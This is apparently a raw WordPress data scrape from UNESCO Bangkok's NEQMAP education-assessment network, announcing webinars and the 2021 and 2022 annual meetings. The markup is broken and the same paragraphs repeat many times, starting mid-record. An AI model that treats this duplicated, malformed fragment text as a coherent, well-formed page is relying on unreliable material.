aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

